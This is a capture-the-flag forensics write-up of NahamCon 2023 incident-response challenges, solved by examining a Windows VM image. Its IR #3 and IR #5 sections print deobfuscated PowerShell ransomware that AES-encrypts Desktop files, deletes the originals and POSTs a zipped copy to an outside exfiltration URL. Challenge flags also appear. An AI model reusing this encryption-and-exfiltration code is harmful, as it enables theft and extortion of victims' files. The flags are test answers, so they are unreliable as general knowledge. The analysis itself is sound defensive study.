IR Challenge Group

forensics | 1817 points

I participated in the NahamCon CTF this weekend, and the team I played with placed 35th! I solved all the challenges in the forensics category, and I'll be posting writeups for some of them, starting with the IR challenges.

First Impressions

All challenges in this challenge group, written by @awesome10billion#1164 (CTFd), used the same file for analysis – a 13GB ZIP file containing NahamCon Forensics Challenge.ova, a VirtualBox VM file.

Archive Utility for some reason expanded the OVA file further into three separate files:

Nahamcon Forensics Challenge
├── Nahamcon Forensics Challenge-disk001.vmdk
├── Nahamcon Forensics Challenge.mf
└── Nahamcon Forensics Challenge.ovf

I set up the VM and tried logging in, but didn't find a password, so I decided to solve these challenges using Autopsy. Now that I've seen other writeups, I know that there was a password. I might have missed the description when importing the VM.

Setup

I started with converting the disk image to a raw image – a format that Autopsy can read – using qemu-img. This takes a while to complete.

$ qemu-img convert -O raw -m 16 -p Nahamcon\ Forensics\ Challenge-disk001.vmdk Nahamcon\ Forensics\ Challenge-disk001.raw

The VM was running Windows 10, and there was one user on the system, IEUser. I imported the raw image in Autopsy and waited for the analysis to complete.

IR #1

[easy, 224 points] Can you find the hidden file on this VM?

The hidden file, Ransom note.txt, was located in Documents/hidden/directory, which contains the flag. It can also be found by running strings on the image.

All of your files have been encrypted. Please reach out via Telegram to awesome10billion for further instructions.
Secret passphrase is flag{053692b87622817f361d8ef27482cc5c}

Flag: flag{053692b87622817f361d8ef27482cc5c}

IR #2

[easy, 402 points] Can you figure out how the malware got onto the system?

I found this while looking for flags through strings.

$ strings Nahamcon\ Forensics\ Challenge.raw | grep "flag{"
...
<text id="1">nexgeninnovation@outlook.com</text>
<text id="2">Updates to install</text>
<text id="3">Hey there! Here are the requested updates for your computer to keep it secure. Please download the file and run it. If someone is looking for a secret message, here it is --> flag{75f086f265fff161f81874c6e97dee0c}. Regards, IT team</text>
<text placement="attribution">Outlook</text>

Looks like the malware came from an email, a classic phishing attack.

Flag: flag{75f086f265fff161f81874c6e97dee0c}

IR #3

[medium, 388 points] Can you reverse the malware?

The malware, updates.ps1, was located in the Downloads folder. It's heavily obfuscated.

${;}=+$();${=}=${;};${+}=++${;};${@}=++${;};${.}=++${;};${[}=++${;}; ${]}=++${;};${(}=++${;};${)}=++${;};${&amp;}=++${;};${|}=++${;};
...

I've come across this kind of obfuscation in another challenge before, and there I manually decoded the code. However this script was too long for that, so I tried a tool called PowerDecode.

It worked and returned the following output, Powershell code containing a long string of ASCII characters.

[CHar]36+[CHar]57+[CHar]72+[CHar]118+[CHar]116+[CHar]77+[CHar]70+[CHar]98+[CHar]67+[CHar]50+[CHar]82+[CHar]71+[CHar]74+[CHar]88...|iex

I removed the iex portion, saved the data to a file and ran it as a script. The output was more PowerShell code, with a huge chunk of reverse base64 data.

$9HvtMFbC2RGJX6YOASjNeBx = "=kiIwlmeuA3b0t2clREXzRWYvxmb39GRcJyKyV2c1RyKiw1cyV2cVxlODJCKggGdhBFbhJXZ0lGTtASblRXStUmdv1WZSpQD5R2b..." ;  
$OaET = $9HvtMFbC2RGJX6YOASjNeBx.ToCharArray() ; 
[array]::Reverse($OaET) ;  
-join $OaET 2>&1> $null ; 
$biPIv9ahScgYwGXl0FyV = [SySteM.tExt.EnCOding]::uTf8.GetStRIng([SySTEm.COnVerT]::FrombASe64StRINg("$OaET")) ; 
$ehyGknDcqxFwCYJz5vfot4T8 = "iN"+"vo"+"Ke"+"-e"+"xP"+"RE"+"ss"+"Io"+"n" ; 
neW-aLIAs -NAme PwN -VAlUE $ehyGknDcqxFwCYJz5vfot4T8 -forCE ; 
pWN $biPIv9ahScgYwGXl0FyV ;

For the last level of de-obfuscation, I decoded the base64 data. The output is a Powershell script, that encrypts files in the user's Desktop folder, compresses them into a ZIP file and exfiltrates the data to a URL. The challenge flag can be found chilling in the code.

function encryptFiles{
	...
}
$flag = "flag{892a8921517dcecf90685d478aedf5e2}"
$ErrorActionPreference= 'silentlycontinue'
$user = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name.Split("\")[-1]
encryptFiles("C:\Users\"+$user+"\Desktop")
Add-Type -assembly "system.io.compression.filesystem"
[io.compression.zipfile]::CreateFromDirectory("C:\Users\"+$user+"\Desktop", "C:\Users\"+$user+"\Downloads\Desktop.zip")
$zipFileBytes = Get-Content -Path ("C:\Users\"+$user+"\Downloads\Desktop.zip") -Raw -Encoding Byte
$zipFileData = [Convert]::ToBase64String($zipFileBytes)
$body = ConvertTo-Json -InputObject @{file=$zipFileData}
Invoke-Webrequest -Method Post -Uri "https://www.thepowershellhacker.com/exfiltration" -Body $body
Remove-Item -LiteralPath ("C:\Users\"+$user+"\Downloads\Desktop.zip")

Flag: flag{892a8921517dcecf90685d478aedf5e2}

IR #4

[medium, 382 points] Where is the data being exfiltrated? Please give the MD5 hash of the URL with the usual wrapper of flag{}.

The URL is mentioned towards the end of the encryption script, https://www.thepowershellhacker.com/exfiltration.

The hash is generated using md5sum. The only catch is to pass the string using echo -n to avoid appending a newline to the string, as that will produce an incorrect hash.

$ echo flag{$(echo -n https://www.thepowershellhacker.com/exfiltration | md5sum | cut -d ' ' -f 1)}

Fun fact: A team claimed this URL during the CTF and received quite a few encrypted files from those who executed the script (spoiler: no sensitive information found and they deleted the files after). Here's their writeup about it if you'd like to read.

Flag: flag{32c53185c3448169bae4dc894688d564}

IR #5

[medium, 421 points] Can you please recover our files?

The encrypted files were located in the user's Desktop folder, and there were two approaches to recover them:

function encryptFiles{
	Param(
		[Parameter(Mandatory=${true}, position=0)]
		[string] $baseDirectory
	)
	foreach($File in (Get-ChildItem $baseDirectory -Recurse -File)){
		if ($File.extension -ne ".enc"){
			$DestinationFile = $File.FullName + ".enc"
			$FileStreamReader = New-Object System.IO.FileStream($File.FullName, [System.IO.FileMode]::Open)
			$FileStreamWriter = New-Object System.IO.FileStream($DestinationFile, [System.IO.FileMode]::Create)
			$cipher = [System.Security.Cryptography.SymmetricAlgorithm]::Create("AES")
			$cipher.key = [System.Text.Encoding]::UTF8.GetBytes("7h3_k3y_70_unl0ck_4ll_7h3_f1l35!")
			$cipher.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
			$cipher.GenerateIV()
			$FileStreamWriter.Write([System.BitConverter]::GetBytes($cipher.IV.Length), 0, 4)
			$FileStreamWriter.Write($cipher.IV, 0, $cipher.IV.Length)
			$Transform = $cipher.CreateEncryptor()
			$CryptoStream = New-Object System.Security.Cryptography.CryptoStream($FileStreamWriter, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write)
			$FileStreamReader.CopyTo($CryptoStream)
			$CryptoStream.FlushFinalBlock()
			$CryptoStream.Close()
			$FileStreamReader.Close()
			$FileStreamWriter.Close()
			Remove-Item -LiteralPath $File.FullName
		}
	}
}
A list showing the encrypted files and their unencrypted versions in Autopsy. The unencrypted versions have a file icon with a red X over it, indicating that they were deleted.

The files were a mix of Word documents, PDF files, text files and Excel sheets.

files
├── Customer data - April 2023.xlsx
├── Customer data - March 2023.xlsx
├── Customer data - May 2023.xlsx
├── GlowSoothe.docx
├── GlowSoothe.pdf
├── NexGen Innovations.docx
├── NexGen Innovations.pdf
├── notes.txt
├── RevitaBlend.docx
├── RevitaBlend.pdf
├── Template for invoice.docx
├── VitaBoost.docx
└── VitaBoost.pdf

There was nothing that visibly stood out in any of the files, so I ran binwalk to check if something was hidden in them. One of the Word documents, NextGen Innovations.docx, had a few more files than the others. This is the same company name as the one in the email from IR #2, so that's a nice reference.

$ binwalk NexGen\ Innovations.docx
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Zip archive data, at least v2.0 to extract, compressed size: 389, uncompressed size: 1965, name: [Content_Types].xml
958           0x3BE           Zip archive data, at least v2.0 to extract, compressed size: 239, uncompressed size: 590, name: _rels/.rels
1758          0x6DE           Zip archive data, at least v2.0 to extract, compressed size: 303, uncompressed size: 1471, name: word/_rels/document.xml.rels
2383          0x94F           Zip archive data, at least v2.0 to extract, compressed size: 2986, uncompressed size: 15626, name: word/document.xml
5416          0x1528          Zip archive data, at least v2.0 to extract, compressed size: 524, uncompressed size: 1901, name: word/footnotes.xml
5988          0x1764          Zip archive data, at least v2.0 to extract, compressed size: 522, uncompressed size: 1895, name: word/endnotes.xml
6557          0x199D          Zip archive data, at least v2.0 to extract, compressed size: 581, uncompressed size: 2046, name: word/footer1.xml
7184          0x1C10          Zip archive data, at least v2.0 to extract, compressed size: 531, uncompressed size: 1786, name: word/footer2.xml
7761          0x1E51          Zip archive data, at least v2.0 to extract, compressed size: 1572, uncompressed size: 6799, name: word/theme/theme1.xml
9384          0x24A8          Zip archive data, at least v2.0 to extract, compressed size: 1049, uncompressed size: 2857, name: word/settings.xml
10480         0x28F0          Zip archive data, at least v2.0 to extract, compressed size: 280, uncompressed size: 576, name: word/webSettings.xml
10810         0x2A3A          Zip archive data, at least v2.0 to extract, compressed size: 3359, uncompressed size: 32182, name: word/styles.xml
14214         0x3786          Zip archive data, at least v2.0 to extract, compressed size: 481, uncompressed size: 1611, name: word/fontTable.xml
14743         0x3997          Zip archive data, at least v2.0 to extract, compressed size: 376, uncompressed size: 792, name: docProps/core.xml
15430         0x3C46          Zip archive data, at least v2.0 to extract, compressed size: 843, uncompressed size: 5687, name: word/numbering.xml
16321         0x3FC1          Zip archive data, at least v2.0 to extract, compressed size: 480, uncompressed size: 991, name: docProps/app.xml
18131         0x46D3          End of Zip archive, footer length: 22

A Word document is essentially a ZIP archive of XML files, that describe the structure of the document. So I extracted the XML files using unzip, and found the flag in word/footer1.xml.

<w:r w:rsidRPr="00804956">
  <w:rPr>
	<w:rFonts w:ascii="Trebuchet MS" w:hAnsi="Trebuchet MS"/>
	<w:sz w:val="2"/>
	<w:szCs w:val="2"/>
  </w:rPr>
  <w:t>flag{</w:t>
</w:r>
<w:proofErr w:type="gramEnd"/>
<w:r w:rsidRPr="00804956">
  <w:rPr>
	<w:rFonts w:ascii="Trebuchet MS" w:hAnsi="Trebuchet MS"/>
	<w:sz w:val="2"/>
	<w:szCs w:val="2"/>
  </w:rPr>
  <w:t>593f1527d6b3b9e7da9bdc431772d32f}</w:t>
</w:r>

Flag: flag{593f1527d6b3b9e7da9bdc431772d32f}

More writeups from NahamCon CTF 2023